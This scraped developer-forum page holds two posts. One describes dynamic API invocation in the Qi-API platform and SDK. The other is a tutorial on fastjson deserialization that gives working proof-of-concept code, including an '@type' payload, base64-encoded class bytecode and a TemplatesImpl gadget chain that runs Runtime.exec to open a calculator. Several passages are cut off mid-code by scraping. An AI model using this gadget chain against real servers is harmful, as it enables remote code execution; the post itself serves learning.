SDK
快来分享你的内容吧~
- 2024-12-31·后端开发
2024-12-18·外卖员在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。查看全文大铃铛Weslie:好干,写的太棒了!做成视频感觉能出4 5期,起个标题党感觉能吸引很多人hh44819分享
什么!!Qi-API接口开放平台仅需两步就可以动态调用新接口!!?😱
大家好我是柒木,想必做过接口开放平台的同学都会遇到 **`该怎么动态发布并调用新接口?`** 这个棘手的问题,这次呢就带大家带来解决这一大难题!😎 ## 相关网址导航 - [**Qi-API 后端 🏘️**](https://github.com/qimu666/qi-api) - [**Qi-API 前端 🏘**️](https://github.com/qimu666/qi-api-frontend) - **[Qi-API-SDK](https://github.com/qimu666/qi-api-sdk)** 🛠 - **[Qi-API-DOC 开发者文档 📖](https://doc.qimuu.icu/)** - **[Qi-API-SDK-demo ✔️](https://github.com/qimu666/qi-api-sdk-demo/blob/master/src/main/java/icu/qimuu/qiapisdkdemo/controller/InvokeController.java)** - **[Qi-API 接口开放平台 🔗](https://api.qimuu.icu/)在线示例网站** - **[QI-API 接口开放平台Docker容器编排方式一键部署](https://www.codefather.cn/post/1873777441621065729)** - **[API 开放平台 笔记](https://www.codefather.cn/note/1805877794735435778)** ## 发布操作步骤(仅需两步!) 1. 在接口服务(interface)项目中开发新接口 (**接口服务可以是独立的项目,但需要在网关中配置路由**) 在接口服务开发一个测试接口: ```java @GetMapping("/test") public String test(String text) { return text; } ``` <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/3VawI9t5ZLOpueip.webp" alt="image-20241231114908610" width="100%" /> 2. 开发完成后重启接口项目后,在管理员后台发布接口,就可以在线调用了!! <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/RGWNRdHnfFHBOA3X.webp" alt="image-20241231115154224" width="100%" /> 3. 在接口大厅找到并请求接口 <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/bqM2SSIBCcRPxUQW.webp" alt="image-20241231115407585" width="100%" /> 4. 恭喜发布成功!! 是不是非常简便!!实现这一功能全得意于 **[Qi-API-SDK](https://github.com/qimu666/qi-api-sdk)** 🛠 ## 实现原理 回到正题,我们看一下 **[Qi-API 接口开放平台 🔗](https://api.qimuu.icu/)** 是怎么动态调用接口的 ```java @PostMapping("/invoke") @Transactional(rollbackFor = Exception.class) public BaseResponse<Object> invokeInterface(@RequestBody InvokeRequest invokeRequest, HttpServletRequest request) { if (ObjectUtils.anyNull(invokeRequest, invokeRequest.getId()) || invokeRequest.getId() <= 0) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } Long id = invokeRequest.getId(); InterfaceInfo interfaceInfo = interfaceInfoService.getById(id); if (interfaceInfo == null) { throw new BusinessException(ErrorCode.NOT_FOUND_ERROR); } if (interfaceInfo.getStatus() != InterfaceStatusEnum.ONLINE.getValue()) { throw new BusinessException(ErrorCode.PARAMS_ERROR, "接口未开启"); } // 构建请求参数 List<InvokeRequest.Field> fieldList = invokeRequest.getRequestParams(); String requestParams = "{}"; if (fieldList != null && fieldList.size() > 0) { JsonObject jsonObject = new JsonObject(); for (InvokeRequest.Field field : fieldList) { jsonObject.addProperty(field.getFieldName(), field.getValue()); } requestParams = gson.toJson(jsonObject); } Map<String, Object> params = new Gson().fromJson(requestParams, new TypeToken<Map<String, Object>>() { }.getType()); UserVO loginUser = userService.getLoginUser(request); String accessKey = loginUser.getAccessKey(); String secretKey = loginUser.getSecretKey(); try { QiApiClient qiApiClient = new QiApiClient(accessKey, secretKey); CurrencyRequest currencyRequest = new CurrencyRequest(); currencyRequest.setMethod(interfaceInfo.getMethod()); currencyRequest.setPath(interfaceInfo.getUrl()); currencyRequest.setRequestParams(params); ResultResponse response = apiService.request(qiApiClient, currencyRequest); return ResultUtils.success(response.getData()); } catch (Exception e) { throw new BusinessException(ErrorCode.SYSTEM_ERROR, e.getMessage()); } } ``` 可以看到在调用前构建了一个通用请求,将请求参数、请求方法、请求地址都传递给sdk提供的request方法,request是一个接口 接收QiApiClient客户端和一个泛型的通用请求。 ```java /** * 通用请求 * * @param qiApiClient qi api客户端 * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ <O, T extends ResultResponse> T request(QiApiClient qiApiClient, BaseRequest<O, T> request) throws ApiException; ``` CurrencyRequest通过继承BaseRequest约定参数调用接口 ```java public class CurrencyRequest extends BaseRequest<Object, ResultResponse> { private String method; private String path; /** * get方法 * * @return {@link String} */ @Override public String getMethod() { return method; } public void setMethod(String method) { this.method = method; } /** * 获取路径 * * @return {@link String} */ @Override public String getPath() { return path; } public void setPath(String path) { this.path = path; } /** * 获取响应类 * * @return {@link Class}<{@link ResultResponse}> */ @Override public Class<ResultResponse> getResponseClass() { return ResultResponse.class; } } ``` BaseRequest中通过@JsonAnyGetter将接收的参数进行转换, ```java public abstract class BaseRequest<O, T extends ResultResponse> { private Map<String, Object> requestParams = new HashMap<>(); /** * get方法 * * @return {@link RequestMethodEnum} */ public abstract String getMethod(); /** * 获取路径 * * @return {@link String} */ public abstract String getPath(); /** * 获取响应类 * * @return {@link Class}<{@link T}> */ public abstract Class<T> getResponseClass(); @JsonAnyGetter public Map<String, Object> getRequestParams() { return requestParams; } public void setRequestParams(O params) { this.requestParams = new Gson().fromJson(JSONUtil.toJsonStr(params), new TypeToken<Map<String, Object>>() { }.getType()); } } ``` 每一个继承BaseRequest都会转换,子类来明确sdk用户调用所需要传递的参数,而不是用户谁便传。 例如获取用户输入name接口,规定用户的请求和响应。用户只需要调用我们提供的方法即可完成调用 更多示例:[sdk-request-demo](https://github.com/qimu666/qi-api-sdk-demo/blob/master/src/main/java/icu/qimuu/qiapisdkdemo/controller/InvokeController.java) ```java NameRequest nameRequest = new NameRequest(); NameParams nameRequest = new NameParams(); nameRequest.setName("123"); nameRequest.setRequestParams(nameRequest); NameResponse name = apiService.getName(nameRequest); ``` ```java @Data @Accessors(chain = true) public class NameParams implements Serializable { private static final long serialVersionUID = 3815188540434269370L; private String name; } ``` ```java @Accessors(chain = true) public class NameRequest extends BaseRequest<NameParams, NameResponse> { @Override public String getPath() { return "/name"; } /** * 获取响应类 * * @return {@link Class}<{@link NameResponse}> */ @Override public Class<NameResponse> getResponseClass() { return NameResponse.class; } @Override public String getMethod() { return RequestMethodEnum.GET.getValue(); } } ``` 而CurrencyRequest类的请求参数泛型是Object类,也就是说用户可以自己传递参数,刚好我们可以在接口后台设置哪些参数可以请求,这一点实现了动态传参。 之后会调用抽象类中的request,使用模板方法构建必须的设置和检查 ```java @Slf4j @Data public abstract class BaseService implements ApiService { private QiApiClient qiApiClient; /** * 网关HOST */ private String gatewayHost = "https://gateway.qimuu.icu/api"; /** * 检查配置 * * @param qiApiClient qi api客户端 * @throws ApiException 业务异常 */ public void checkConfig(QiApiClient qiApiClient) throws ApiException { if (qiApiClient == null && this.getQiApiClient() == null) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } if (qiApiClient != null && !StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { this.setQiApiClient(qiApiClient); } } /** * 执行请求 * * @param request 请求 * @return {@link HttpResponse} * @throws ApiException 业务异常 */ private <O, T extends ResultResponse> HttpResponse doRequest(BaseRequest<O, T> request) throws ApiException { try (HttpResponse httpResponse = getHttpRequestByRequestMethod(request).execute()) { return httpResponse; } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } } /** * 通过请求方法获取http响应 * * @param request 要求 * @return {@link HttpResponse} * @throws ApiException 业务异常 */ private <O, T extends ResultResponse> HttpRequest getHttpRequestByRequestMethod(BaseRequest<O, T> request) throws ApiException { if (ObjectUtils.isEmpty(request)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求参数错误"); } String path = request.getPath().trim(); String method = request.getMethod().trim().toUpperCase(); if (ObjectUtils.isEmpty(method)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求方法不存在"); } if (StringUtils.isBlank(path)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求路径不存在"); } if (path.startsWith(gatewayHost)) { path = path.substring(gatewayHost.length()); } log.info("请求方法:{},请求路径:{},请求参数:{}", method, path, request.getRequestParams()); HttpRequest httpRequest; switch (method) { case "GET": { httpRequest = HttpRequest.get(splicingGetRequest(request, path)); break; } case "POST": { Map<String, Object> requestParams = request.getRequestParams(); String s = JSONUtil.toJsonStr(requestParams); System.err.println(s); httpRequest = HttpRequest.post(gatewayHost + path).body(JSONUtil.toJsonStr(request.getRequestParams())); break; } default: { throw new ApiException(ErrorCode.OPERATION_ERROR, "不支持该请求"); } } return httpRequest.addHeaders(getHeaders(JSONUtil.toJsonStr(request), qiApiClient)); } /** * 获取响应数据 * * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ public <O, T extends ResultResponse> T res(BaseRequest<O, T> request) throws ApiException { if (qiApiClient == null || StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } T rsp; try { Class<T> clazz = request.getResponseClass(); rsp = clazz.newInstance(); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } HttpResponse httpResponse = doRequest(request); String body = httpResponse.body(); Map<String, Object> data = new HashMap<>(); if (httpResponse.getStatus() != 200) { ErrorResponse errorResponse = JSONUtil.toBean(body, ErrorResponse.class); data.put("errorMessage", errorResponse.getMessage()); data.put("code", errorResponse.getCode()); } else { try { // 尝试解析为JSON对象 data = new Gson().fromJson(body, new TypeToken<Map<String, Object>>() { }.getType()); } catch (JsonSyntaxException e) { // 解析失败,将body作为普通字符串处理 data.put("value", body); } } rsp.setData(data); return rsp; } /** * 拼接Get请求 * * @param request 要求 * @param path 路径 * @return {@link String} */ private <O, T extends ResultResponse> String splicingGetRequest(BaseRequest<O, T> request, String path) { StringBuilder urlBuilder = new StringBuilder(gatewayHost); // urlBuilder最后是/结尾且path以/开头的情况下,去掉urlBuilder结尾的/ if (urlBuilder.toString().endsWith("/") && path.startsWith("/")) { urlBuilder.setLength(urlBuilder.length() - 1); } urlBuilder.append(path); if (!request.getRequestParams().isEmpty()) { urlBuilder.append("?"); for (Map.Entry<String, Object> entry : request.getRequestParams().entrySet()) { String key = entry.getKey(); String value = entry.getValue().toString(); urlBuilder.append(key).append("=").append(value).append("&"); } urlBuilder.deleteCharAt(urlBuilder.length() - 1); } log.info("GET请求路径:{}", urlBuilder); return urlBuilder.toString(); } /** * 获取请求头 * * @param body 请求体 * @param qiApiClient qi api客户端 * @return {@link Map}<{@link String}, {@link String}> */ private Map<String, String> getHeaders(String body, QiApiClient qiApiClient) { Map<String, String> hashMap = new HashMap<>(4); hashMap.put("accessKey", qiApiClient.getAccessKey()); String encodedBody = SecureUtil.md5(body); hashMap.put("body", encodedBody); hashMap.put("timestamp", String.valueOf(System.currentTimeMillis() / 1000)); hashMap.put("sign", SignUtils.getSign(encodedBody, qiApiClient.getSecretKey())); return hashMap; } @Override public <O, T extends ResultResponse> T request(BaseRequest<O, T> request) throws ApiException { try { return res(request); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } } @Override public <O, T extends ResultResponse> T request(QiApiClient qiApiClient, BaseRequest<O, T> request) throws ApiException { checkConfig(qiApiClient); return request(request); } } ``` 之后就会请求对应的接口,返回数据后尝试将数据转换为规定的格式,不成功就转换为普通值 ```java * 获取响应数据 * * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ public <O, T extends ResultResponse> T res(BaseRequest<O, T> request) throws ApiException { if (qiApiClient == null || StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } T rsp; try { Class<T> clazz = request.getResponseClass(); rsp = clazz.newInstance(); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } HttpResponse httpResponse = doRequest(request); String body = httpResponse.body(); Map<String, Object> data = new HashMap<>(); if (httpResponse.getStatus() != 200) { ErrorResponse errorResponse = JSONUtil.toBean(body, ErrorResponse.class); data.put("errorMessage", errorResponse.getMessage()); data.put("code", errorResponse.getCode()); } else { try { // 尝试解析为JSON对象 data = new Gson().fromJson(body, new TypeToken<Map<String, Object>>() { }.getType()); } catch (JsonSyntaxException e) { // 解析失败,将body作为普通字符串处理 data.put("value", body); } } rsp.setData(data); return rsp; } ``` 这样就能够实现动态调用接口啦!!! <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/AL6Gx3tc1AGx7a6o.webp" alt="image-20241231125721180" width="100%" />
不是,解析个JSON你给我弹出个计算器?
大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将对象转为JSON字符串 User user = new User(); user.setId(1L); user.setName("gulihua"); user.setPassword("12345678"); System.out.println(JSON.toJSONString(user)); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将JSON字符串解析为Java对象 String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { List<User> userList = new ArrayList<>(); userList.add(new User(1L, "gulihua", "123456")); userList.add(new User(2L, "xiaogu", "11111111")); System.out.println(JSON.toJSONString(userList)); } @Data @AllArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]"; List<User> userList = JSON.parseArray(arr, User.class); System.out.println(userList); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { @JSONField(name = "user_id") private Long id; @JSONField(name = "user_name") private String name; @JSONField(name = "user_password") private String password; } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private Hobbies hobbies; } public interface Hobbies { } @Data @AllArgsConstructor @NoArgsConstructor public static class football implements Hobbies { private String club; } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) { String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(str, User.class); System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) { String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(json, User.class); System.out.println(user); } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } public static void main(String[] args) throws Exception { String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(s, Object.class); } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length); yyds.newInstance(); } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception { String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg=="; try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Test'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 